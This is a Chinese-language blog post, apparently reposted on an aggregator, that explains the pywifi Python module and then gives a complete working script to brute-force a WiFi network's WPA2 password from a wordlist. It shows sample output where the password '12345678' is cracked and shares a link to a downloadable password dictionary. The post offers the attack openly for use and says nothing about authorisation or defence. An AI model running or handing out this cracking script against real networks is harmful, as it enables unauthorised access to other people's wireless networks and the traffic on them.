python pywifi模块——暴力破解wifi
pywifi模塊介紹:
pywifi提供了一個(gè)跨平臺(tái)的Python模塊,用于操作無線接口
支持Windows和Linux
在python 2.7和3.5下運(yùn)行
小小的講解:
1.wifi接口的操作:
這里的接口指我們用來執(zhí)行wifi操作(例如:掃描,連接,斷開…)的接口
通常,我們平臺(tái)中只有一個(gè)Wi-Fi接口,就像你主機(jī)不能同時(shí)連接多個(gè)wifi(騷操作就算了),因此,使用索引0來獲得Wi-Fi接口
wifi = pywifi.PyWiFi() #定義接口操作 iface = wifi.interfaces()[0] #這里iface就是獲取的wifi接口 #注意:以下的iface全部是指通過此方式獲取的wifi接口,在實(shí)際操作中可以自己另外命名接口名字:
iface.name() #獲取wifi接口名稱掃描wifi(AP):
iface.scan() #觸發(fā)接口掃描附近wifi(就是AP啦)獲取掃描結(jié)果:
iface.scan_result() #獲取先前觸發(fā)掃描的結(jié)果,會(huì)返回一個(gè)列表喲添加AP配置文件(為了連接):
iface.add_network_profile(配置文件名) #下面會(huì)講解如何進(jìn)行配置刪除所有AP配置文件(為了下一次新的連接):
iface.remove_all_network_profiles()返回配置文件列表:
iface.network_profiles() #你連接上wifi的時(shí)候可以用這個(gè)試試,會(huì)返回你連接的wifi的信息連接wifi:
iface.connect(配置文件名) #通過給定的配置文件連接到指定的AP #注意:添加AP配置文件add_network_profile(profile),應(yīng)該在連接AP iface.connect(profile)之前斷開AP連接:
iface.disconnect() #斷開當(dāng)前的AP連接獲取當(dāng)前接口狀態(tài):
iface.status()將返回以下狀態(tài)碼之一(相信大家還是能看懂的,嘿嘿): const.IFACE_DISCONNECTED const.IFACE_SCANNING const.IFACE_INACTIVE const.IFACE_CONNECTING const.IFACE_CONNECTED2.配置文件:
生成配置文件對(duì)象:
profile=pywifi.Profile() #生成對(duì)象而已,接下來就能對(duì)他進(jìn)行配置操作了配置文件的操作方式:
ssid - AP的名稱
auth - AP的認(rèn)證算法
akm - AP的密鑰管理類型
cipher - AP的密碼類型
key (optinoal) - AP的關(guān)鍵。如果無密碼,則應(yīng)該設(shè)置此項(xiàng)CIPHER_TYPE_NONE
使用方式:
profile.ssid='wifi_name' #wifi名稱profile.auth=const.AUTH_OPEN #auth - AP的認(rèn)證算法profile.akm.append(const.AKM_TYPE_WPA2PSK) #選擇wifi加密方式profile.cipher=const.CIPHER_TYPE_CCMP #cipher - AP的密碼類型profile.key=password #wifi密鑰 key (optinoal) - AP的關(guān)鍵。如果無密碼,則應(yīng)該設(shè)置此項(xiàng)CIPHER_TYPE_NONE必要的說明:
auth - AP的認(rèn)證算法:
也是身份驗(yàn)證的算法,其實(shí),幾乎所有AP都使用開放算法,盡管我們可以有以下設(shè)置
akm - AP的密鑰管理類型:
const.AKM_TYPE_NONE #AP沒有安全設(shè)置 const.AKM_TYPE_WPAPSK #AP處于WPA模式 const.AKM_TYPE_WPA2PSK #AP處于WPA2模式AKM_TYPE_WPA和AKM_TYPE_WPA2針對(duì)企業(yè)的AP(這里就不解釋了): const.AKM_TYPE_WPA const.AKM_TYPE_WPA2cipher - AP的密碼類型:
const.CIPHER_TYPE_NONE #如果AP沒有安全設(shè)置,則應(yīng)將密碼類型設(shè)置為ProfileAKM_TYPE_NONE const.CIPHER_TYPE_WEP const.CIPHER_TYPE_TKIP const.CIPHER_TYPE_CCMP #通常情況下設(shè)置為這個(gè),雖然不知道是什么接下來就要靈活使用上面的操作了
代碼:
(還有點(diǎn)小問題,針對(duì)中文wifi名無法破解)
import pywifi from pywifi import const #引用一些定義 import time def testwifi(password):wifi=pywifi.PyWiFi() #抓取WiFi接口ifaces=wifi.interfaces()[0] #一般來說,平臺(tái)上只有一個(gè)Wi-Fi接口。因此,使用索引0來獲得Wi-Fi接口#print(ifaces.name()) #我們可以試試輸出網(wǎng)卡名稱ifaces.disconnect() #斷開網(wǎng)卡連接profile=pywifi.Profile() #定義配置文件對(duì)象profile.ssid='root' #wifi名稱,貌似不能用中文?profile.auth=const.AUTH_ALG_OPEN #auth - AP的認(rèn)證算法profile.akm.append(const.AKM_TYPE_WPA2PSK) #選擇wifi加密方式 akm - AP的密鑰管理類型profile.cipher=const.CIPHER_TYPE_CCMP #cipher - AP的密碼類型profile.key=password #wifi密鑰 如果無密碼,則應(yīng)該設(shè)置此項(xiàng)CIPHER_TYPE_NONEifaces.remove_all_network_profiles() #刪除其他配置文件tmp_profile=ifaces.add_network_profile(profile) #加載配置文件ifaces.connect(tmp_profile) #按配置文件進(jìn)行連接time.sleep(1) #嘗試幾秒能否成功連接if ifaces.status() == const.IFACE_CONNECTED: #判斷連接狀態(tài)return Trueelse:return Falsedef main():print("start ...")path=r"wordlist.txt"files=open(path,'r')while True:f=files.readline()f = f[:-1] #去除了這行文本的最后一個(gè)字符(換行符)后剩下的部分print('[-]正在嘗試:', f)bool=testwifi(f)if bool:print('[+]wifi連接成功!')print("密碼為:",f)breakelse:print("[-]wifi連接失敗!")if not f: #如果文件逐行讀取完,則退出breakfiles.close()if __name__=="__main__":main()運(yùn)行結(jié)果:
start ... [-]正在嘗試: %null% [-]wifi連接失敗! [-]正在嘗試: %username% [-]wifi連接失敗! [-]正在嘗試: !@#$%^ [-]wifi連接失敗! [-]正在嘗試: !@#$%^& [-]wifi連接失敗! [-]正在嘗試: !@#$%^&* [-]wifi連接失敗! [-]正在嘗試: 000000 [-]wifi連接失敗!-]正在嘗試: 00000000 [-]wifi連接失敗! [-]正在嘗試: 0123456789 [-]wifi連接失敗! [-]正在嘗試: 12345678 [+]wifi連接成功! 密碼為: 12345678該代碼在讀取密碼文檔到20行后,會(huì)拋出如下錯(cuò)誤(ERROR Open handle failed!),但并不影響程序運(yùn)行和結(jié)果:
如果有知道是什么原因的,希望能在評(píng)論區(qū)指出,謝謝。
關(guān)于pywifi模塊的官方文檔:https://github.com/awkman/pywifi
另外分享一個(gè)我在網(wǎng)上找的密碼字典,看起來還不錯(cuò):百度云 密碼字典 提取碼:ntfe
總結(jié)
以上是生活随笔為你收集整理的python pywifi模块——暴力破解wifi的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: setImageResource导致的A
- 下一篇: Jenkins定时构建和轮询SCM设置说